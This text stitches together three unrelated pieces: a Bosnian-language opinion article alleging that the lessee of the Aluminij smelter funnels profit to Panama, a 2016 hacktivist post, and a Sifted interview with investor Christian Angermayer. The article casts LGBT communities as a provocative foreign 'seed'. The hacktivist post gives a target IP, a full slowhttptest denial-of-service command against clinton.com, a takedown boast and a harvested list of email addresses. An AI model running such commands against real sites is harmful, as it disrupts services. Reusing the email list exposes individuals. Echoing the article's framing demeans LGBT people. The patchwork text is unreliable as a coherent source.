Zašto Panama: Panama je u poslovnom i financijskom smislu „Off Shore zona“. Pozitivni zakonski akti F BiH i BiH takve zone/države promatraju sa velikom pažnjom, jer se preko „Off Shore zona“ izbjegava plaćanje poreza i vrši se pranje novca , a što je sukladno zakonima, zabranjeno, (čitaj nezakonito). Zakon Paname kaže, ako matična tvrtka u Panami, a što je MT Abraham Group Panama, ostvari preko svojih poduzeća „kćeri“ prihode i dobit u bilo kojoj trećoj zemlji, oslobođena je plaćanja bilo kakvog poreza na transfer te dobiti u Panamu.

Iz navedenog se dade zaključiti da Aluminij industries doo na čelu sa ovlaštenom osobom A. Gross Kabiri ne ispunjava niti jednu stratešku obvezu koju je dogovarao prilikom najma Aluminija d.d.. Koristio se snagom i reklamom kineskih državnih firmi, prezentirao svoju snagu bez dokaza o postojanju bilo kakvog kapitala MT Abraham Grupe, zanemario je obveze prema vjerovnicima sa kojima je trebao potpisati sporazume i raditi na otkupu dugova pa i vlasničke strukture, te u konačnici podastro je dokaze da će svu zaradu ostvarenu u Aluminiju transferirati u Panamu izbjegavajući plaćanje poreza na dobit. I običan čovjek bi se složio da mu namjere nisu časne. O svemu tome Vlada F BiH i Nadzorni odbor šute.

ALUMINIJ DD JE MOGAO I BEZ MT ABRAHAM GRUPE

Ono što sada radi Aluminij industries kao najmoprimac u Aluminiju d.d je proizvodnja trupaca 3000 tona-4000 tona mjesečno. Javnosti, medijima, radnicima, Nadzornom odboru je prikazano da je to dobro tj odlično, jer je pokrenuta proizvodnja i zaposleno je do 200 radnika. Točno za neupućene! I Aluminij d.d. je proizvodio 10 000-12000 tona mjesečno pa je propao.

Aluminij industries je od Travnja 2021. god počeo raditi sa Glencorom Švicarska za kojeg radi ccca 90-95% proizvodnje:

Kao dokaz da je riječ o najmoprimcu, koji nema poslovne sposobnosti u ovoj industriji, nema nikakvog svog kapitala, niti plana da želi i hoće restrukturirati dugove i vlasništvo, jeste činjenica da je od 11/2020 do 04/2021. se financirao isključivo na teret vjerovnika. Poznata Vam je situacija koja je medijski popraćena preko svih medija i portala u BiH, a to je incidentna situacija, kada je jedan od lokalnih dobavljača iz Hercegovine blokirao kamionima i svojim radnicima ulaze u Aluminij d.d., a zbog neplaćenog duga Aluminij industries doo prema toj firmi od 1,1 mil KM.

Kao najveći dokaz da je riječ o firmi Aluminij industries doo koja nema poslovne sposobnosti, nema nikakvog svog kapitala , nema namjere otkupiti niti vraćati dugove Aluminija d.d., već ima isključivu namjeru svu zarađenu dobit (ako je bude) zadržati za sebe i svoj interes (transferirati u Panamu) jeste činjenica da je Aluminij industries doo sklopio Ugovor sa Glencore AG Switzerland od kojih nabavlja sirovinu za pretapanje (ingote) te samo Glencoru prodaje gotov proizvod tj aluminijske trupce.

Ugovor sa Glencore je čudan sa te strane jer Aluminij industries uslijed činjenice da ne posjeduje novčana sredstva (kapital) ne plaća Glencoru ulaznu sirovinu (ingote), već je ugovorio tzv „Lohn“ posao, od Glencora uzima ingote na doradu i preradu, Glencoru isporučuje finalni proizvod (trupce) a Glencore mu plaća samo fiksnu naknadu za obradu.

Upravo ovaj period u kome se nalazimo je povijesni period najvećih cijena LME i premija, te ovaj posao koji radi gosp Kabiri sa Glencorom mogao je bez ikakva ulaganja ili kapitala raditi i Aluminij d.d. Zašto nije, pitajte Vladu F BiH pa i Nadzorni odbor.

Ovakav vid posla sa Glencorom gdje je Aluminij industries praktički pretvoren u pogon koji radi samo i isključivo za Glencore, mogao je raditi i Aluminij d.d. bez da se pogoni daju nekoj trećoj strani u najam. Ovaj posao sa Glencorom je mogao ugovoriti bilo tko u Aluminiju d.d. sa najmanjom naobrazbom tj završenom osnovnom školom. Zašto je Vlada dala Aluminij d.d. u najam nekome tko će raditi samo za svoj sitni interes te dobit transferirati u Panamu ostaje enigma.

Činjenica jeste da Aluminij industries u ovom i prethodnim mjesecima ostvaruje nekakvu dobit, ali gro te dobiti ostvaruje Glencore. Zašto je uveden u Aluminij „Middle man“ kada je posao sa Glencorom na ovakav način mogao ugovoriti i sam Aluminij d.d.??

Stoga smo i svjedoci da se jedan dio zarade koja se ostvaruje u Aluminij industries doo transferira na financiranje i promociju LGBT zajednica u Regionu. Sve to ne bi bilo čudno niti bi oči javnosti bile uprte u promociju bilo koje vrste borbe za ljudska prava, ali u ovom konkretnom slučaju na vrh piramide promocije LGBT zajednica i Pride parada stavlja se strateška odrednica proizvodne kompanije Aluminija, pa bez obzira kome su iznajmljeni pogoni u tradicionalnoj i vjerski orijentiranoj sredini kakva je Hercegovina i cijela BiH, navedene aktivnosti se definiraju kao provokativne i neprimjerene ovom okruženju.

Ovaj posao sa Glencorom koji radi Aluminij industrieas doo bilo bi suludo da ga podržava Vlada u ovome, bez jasne strukture o otkupu , vraćanju dugova i restrukturiranju vlasničke glavnice samog Aluminija d.d

Ostaje nam za vidjeti koje će poteze povući Nadzorni odbor, Vlada F BiH i lokalna politika, jer je činjenica da im je gosp Kabiri nabio „magareće uši“ te se do sada ponaša kao nedodirljiv.

Ono što je ispravan i jedini model za Aluminij d.d., njegovu restrukturu, podizanje proizvodnje i dugoročnu opstojnost jesu istinski i realni svjetski investitori koji će otkupiti i restrukturirati dugove Aluminija d.d. te otkupiti vlasništvo od Vlade F BiH, RH i malih dioničara. Zašto Vlada ne ide u tom smjeru ponovo ostaje „enigma“.

Vrijeme je pred nama, a koje će pokazati da će u narednim mjesecima a možda i godinama jačati promocija i populacija LGBT zajednice u Hercegovini i cijeloj BiH, a sve navedeno kreće na opisani način: pojavi se „spasitelj“ svjetski/zapadni investitor da podigne posrnulu ekonomiju napaćene i ratom razrušene zemlje u razvoju.

Domaći političari koji ga dovedu ispričaju jednu priču da će sve biti med i mlijeko, da ćemo jesti zlatnim kašikama, Vlada ga objeručke prigrli i podrži, a nakraju balade ostat će epilog da je zasijano sjeme jedne nove kulture, ponašanja, tj zajednice (LGBT) u BiH koja će rasti i širiti se kao gljive poslije kiše, a u novinama ćemo pročitati da je taj investitor (spasitelj) nestao, tj kupio avionsku kartu u jednom smjeru, a bankovni račun na Panami je napunio tako da može do kraja života na Baliju ili Bahamima živjeti i piti „pina coladu“.

Nama i dalje ostaje gorčina u grlu, tuga u srcu, prazan novčanik i nezaposlenost, a sve uslijed bjelosvjetskih dušobrižnika a koji su uvijek i vazda imali jedan cilj kada bi dolazili na naše prostore – a to je da su otišli punih džepova nama ostavili neko sjeme kojim su posijali nove muke koje će ostati na ovim prostorima.

Marija Tavelić / OTPOR.Media

Use of Facebook for peer to peer communication, still available on Facebook under hashtag #OpBlackOct. The pages were deleted, but the most of material remained.

 

Use of Facebook for peer to peer communication, still available on Facebook under hashtag #OpBlackOct. The pages were deleted, but the most of material remained.

18 September 2016 ·

#OpIcarus Phase 4 #OpBlackOct

+ Target IP: 98.129.63.26

+ Target Hostname: clinton.com

+ Target Port: 80

slowhttptest -c 1000 -B -g -o my_body_st

ats -l 9999 -r 200 -s 8192 -w 512 -y 1024 -n 5 -z 32 -k 3 -t FAKEVERB -u http://www.clinton.com -x 10 -p 6

#TangoDown Clinton Equity Strategies/Financial Group #offline Fuck the Clintons! #OpIcarus Phase 4 #OpBlackOct #Killary

Ddos Report: https://check-host.net/check-report/1ab5f92

Nr. 29 on the list. http://www.clinton.com

Target List: 100 Hedge Funds - http://www.barrons.com/arti…/best-100-hedge-funds-1466223924

[+] Emails found:

------------------

bill@clinton.com

@clinton.com

clinton@clinton.com

Abl...@clinton.com

anusha.bhatnagar@clinton.com

hillary@clinton.com

quantjobs@clinton.com

huma@clinton.com

pantsuit16@clinton.com

mlewinsky@clinton.com

Hrd17@clinton.com

confirm@clinton.com

compliance@clinton.com

HRCxxx@clinton.com

tom@clinton.com

crews@clinton.com

itamar.rosenn@clinton.com

HRC@clinton.com

admin@clinton.com

das@clinton.com

vvtv@clinton.com

A...@clinton.com

cac...@clinton.com

bill@clinton.com

francis.ruchalski@clinton.com

pjo@clinton.com

Ankersen@clinton.com

cheater@clinton.com

nader.behbehani@clinton.com

stevel@clinton.com

tary@clinton.com

Hillary@clinton.com

hilldawg@clinton.com

VVTV@clinton.com

humapuma@clinton.com

madam_im_rodham@clinton.com

dontbefooledagain@clinton.com

postmaster@clinton.com

Brunch with Sifted: psychedelic investor Christian Angermayer (By Michael Stothard 16 November 2020)

 https://sifted.eu/articles/christian-angermayer-compass-atai/?fbclid=IwAR01wM8wnNdzymcdMgFejl4sYM42j5jYwlfd95JfwCDU-e7xY3nLE_bZnHI

 

Brunch with Sifted: psychedelic investor Christian Angermayer

Instrumental in the founding of Compass Pathways and chairman of Atai Life Sciences, Christian Angermayer has been leading a global psychedelic renaissance. 

 The art on the 29th floor London penthouse apartment of German tech investor and entrepreneur Christian Angermayer has two themes: psychedelics and gay emperors.

One corner has a 2,300-year-old marble bust of Alexander the Great’s lover Hephaestion. To his right sits a 2,000-year-old bust of the Roman emperor Hadrian next to a picture of his lover Antinous.

But the 42-year-old is most proud of his 2,400-year-old bust of Demeter, the ancient Greek goddess revered in an ancient ritual which, according to Angermayer and a growing body of research, involved dosing figures such as Plato and Socrates with powerful psychedelics.

  “There is more and more evidence that psychedelics were a foundation of western civilisation,” he says.

This excitement makes sense for a man who, over the past five years, has been perhaps the single biggest financial driving force behind shifting psychedelic drugs from a dusty relic of 1960s’ counterculture into the medical mainstream as a legal medicine to treat mental illnesses.

While today there is a growing body of clinical trials and early approvals from regulators, before Angermayer this field was seen as largely the preserve of hippies and dreamers.

In September, the company he helped found in 2017, Compass Pathways, which has developed a synthetic version of psilocybin (the active ingredient in magic mushrooms) and is conducting the world’s first large-scale therapy clinical trial using the drug, listed in New York. His 28% stake, which cost him around $55m over multiple rounds, became worth more than $400m.

Next spring the biotech company he founded Atai Life Sciences — which is pursuing a large range of treatments for mental-health disorders using other more obscure drugs such as DMT, ar-ketamine and ibogaine — is set to go public as well at an expected $1bn-$2bn valuation, according to bankers familiar with the process.

With these high-profile exits and an increasingly large fortune — his investment company, Apeiron Investment Group, manages around $750m of his own money and $600m of others’ and invests in longevity research, biotech, fintech, spacetech, crypto and entertainment  — Angermayer is becoming one of Europe’s most powerful and influential tech investors.

He has also won the ear of political leaders — his sideboard has pictures of him with German chancellor Angela Merkel and Austrian chancellor Sebastian Kurz and European Central Bank head Christine Lagarde — and now regularly co-invests with renowned US investors such as Peter Thiel, cofounder of PayPal and an early investor in Facebook, Steve Jurvetson, an early investor and board member of Tesla and SpaceX and Michael Novogratz from Galaxy Investment Partners.

 “Christian is successful because he is curious,“ Thiel told Sifted in an email exchange. “He finds because he seeks — both ideas and people. That sounds simple, but it’s rare.”

 

The first trip

The rule of Brunch with Sifted is that the interviewee picks the restaurant and Sifted picks up the bill. But as London is in the midst of a pandemic, restaurants feel a bit risky, so I turn up at his apartment cum office near Old Street in east London where he has prepared a business brunch of smoked salmon, ham, croissant, coffee, cheese, melon and strawberries. 

His cousin, Stephan — not the only handsome young family member hanging around his apartment on a Saturday — is making some scrambled eggs with just the right hint of pepper. 

Angermayer is wearing a grey jumper with the chemical symbol for psilocybin on the chest (he has the same symbol tattooed on his arm). He starts with a tour of the art, pointing out the psychedelic pieces, the gay emperors and their lovers as well as a golden triptych made by his friend Landon Ross which — he says with a flourish —  “contains only elements created in the last three seconds of a dying star… that’s basically where we all come from and end up.”

When we sit down it becomes apparent that this luxurious spread isn’t his usual Saturday morning fare: he chooses delicately to avoid any carbs — which is part of a regime to help extend his life — while I pile bread and ham onto my plate.

I start by asking him about Compass Pathways and how he got involved with psychedelics. Or more importantly: when was his first trip?

 

It started, he says, with friends on the Caribbean island of Canouan (where, he notes, it’s legal) back in 2014. He had resisted pressure for years: he had never drunk, smoked or done any drugs before so he was reluctant to try psilocybin. But when he finally tried he found it such a profound experience he became a “die-hard convert” to its positive benefits to mental health. 

“All my trips together now make some of the most meaningful experiences of my entire life,” he says.

He began searching for a way to turn this into a business, when his friend Michael Novogratz in 2017 introduced him to George Goldsmith and Ekaterina Malievskaia (who now lead Compass Pathways) and who had similar ideas about the benefits of psilocybin for mental health. 

A few weeks later Angermayer had promised the couple the £3m of investment they needed to start a real business. “They had spent years in meetings getting nowhere, but I stopped them after 10 minutes and said, ‘I am in’.” (The £3m was split between Novogratz, Thiel and him.)

Just a few years later Compass Pathways is doing psilocybin therapy clinical trials in 20 sites across nine countries in Europe and North America and is now getting so big in this field that it’s faced criticism for trying to create a magic mushroom monopoly by patenting an artificial form of psilocybin, a critique Angermayer rejects. 

“We are not coming after the hippies growing this organically at home,” he says. “We are patenting this so we can bring the synthetic version of this natural drug to the hundreds of millions of people who need it for medical conditions and can only get it if it’s prescribed by doctors and paid by their health insurance.”

 

A Chaga mushroom coffee and the first few startups

Angermayer at this point wants a coffee so walks over to the kitchen. “I am having a mushroom coffee, would you like one?” I looked startled, but only for a moment as he assured me it’s just coffee with Chaga mushroom (a popular “wellness” supplement) with some extra Lion’s Mane mushroom extract pipetted in. All non-psychedelic. 

Now sipping our pleasant and slightly earthy coffee, he tells me that he didn’t grow up in a world of drug research and billionaires. He was born in a small town in northern Bavaria to a mother who is a secretary and father who was an engineer. “If you had asked my parents what I should be, they would have said teacher or doctor.” 

But by the age of 20 he was dropping out of university to found his first biotech company, Ribopharma, with two of his professors which eventually merged with Alnylam Pharmaceuticals and listed on the stock exchange (now worth $15bn). Ever since then he has been starting tech companies and investing, initially with four friends and now alone through Alpiron.

One of his big breaks came during the European sovereign debt crisis where, thanks to some political connections, he became known among elite investor circles worldwide as someone who understood the problem and — more importantly — how Germany saw it. This made him friends and eventually coinvestors.

Living forever

Today, on top of psychedelic research, Angermayer is one of the most prominent investors in the field of longevity, where he is heavily involved in two companies, Rejuveron Life Sciences in Switzerland and Cambrian Biopharma in the US.

The science behind longevity — pioneered by figures such as Aubrey de Grey and Ray Kurzweil — is today centred around finding specific treatments around the nine “hallmarks of ageing” to help to halt or even reverse the ageing process. 

Angermayer is also part of a movement pushing for ageing to be classified as a disease so it would be easier to do clinical trials on anti-ageing drugs. 

“People say that dying is natural, but it’s really things going wrong in your body,” he says. “For thousands of years, we have merely devoted ourselves to the conviction that ageing and death are inevitable and ‘natural’, and have integrated this narrative into our culture and all religions. Science is just beginning to better understand the reasons for ageing and dying, and a disease that we understand will eventually be cured.”

But do we want to live forever? “I don’t think people will want to live forever, but I think they would like it to be their choice to die after say 150 or 200 years rather than getting killed by the ageing disease.” He adds: “Some people will find it hard to cope with an ever quicker changing world, but psychedelics could help with that as well. They could help us keep the lust for life alive.”

 

The future

Angermayer has a lot on beyond psychedelics and living forever. One of his investments at the moment, AbCellera, an antibody therapy company he is closely involved with which has been part of the fight to develop a treatment for coronavirus, has hired bankers and is set to IPO within the next months for several billion dollars, according to people close to the company.

He is an investor in Deposit Solutions, the German fintech unicorn, and two European space leaders Mynaric and Isar Aerospace, to name a few others. He says he has raised $500m for his portfolio companies in the past six months and is hands-on operationally with most of them. He connects people: it was him who last year put Japan’s SoftBank in touch with now-collapsed German fintech Wirecard about an investment. He has made films such as Filth, Aspern Papers and Hector and the Search for Happiness.

Oh, and he is on the advisory council of Rwandan president Paul Kagame. This came after, in 2009, he bought a bank in Rwanda after being impressed by meeting the leader at dinner in Germany. It was “the only thing that was being privatised at that moment”, he says. He expanded the lender and later sold it to Bob Diamond, the former Barclays CEO.

But what does the future hold, I ask? By this point we’ve been talking for three hours, the afternoon is marching on, and Angermayer is even breaking his no-carbs rule nibbling on the corner of a croissant.

Pausing for a moment, leaning back in his chair, he says that beyond tech investments and dealmaking he has a long-term vision that somewhen down the road, psychedelics could shape global politics for the better. 

He is, for instance, funding a study by Robin Carhart-Harris, head of psychedelic research at Imperial College in London, to study the effect of Palestinians and Israelis drinking the psychedelic drug Ayahuasca together.

 He is also spreading the message more widely in his powerful circles. “I am a partner of the Munich Security Conference, [a high profile event in international relations], and at one dinner, I joked with them that I was going to spike their drink with psilocybin…”

He adds quickly: “I mean, I was completely joking, of course. But I also told them that there had been times in history when world leaders used the power of psychedelics to become better leaders, especially for conflict resolution purposes. Looking at a world which, despite best intentions, becomes increasingly divided, maybe we have to think radically differently.”

He also has a European agenda, believing that his investment focus on biotech and deeptech are areas where Europe, after losing out to the US over the past decade in creating the big ecommerce and social platforms, has a chance of catching up. “We have some of the best engineers and researchers in the world,” he says.

Governments he is less enamoured of, criticising the German government’s latest change in the law to make it easier for startups to offer stock options as not going far enough, saying that after years of efforts from business it was only a tiny change to the rules. “It’s like having sex once after 10 years, and not even good sex, and then expecting your partner to be satisfied… No, it is still far too little, and far from perfect. We have to do better.”

And on that note, it’s time to leave, saying a socially-distanced goodbye, walking into his private lobby (where there is an 18th-century bronze statue of the Roman gladiator called Retiarius), taking the lift down and getting on my bike back home.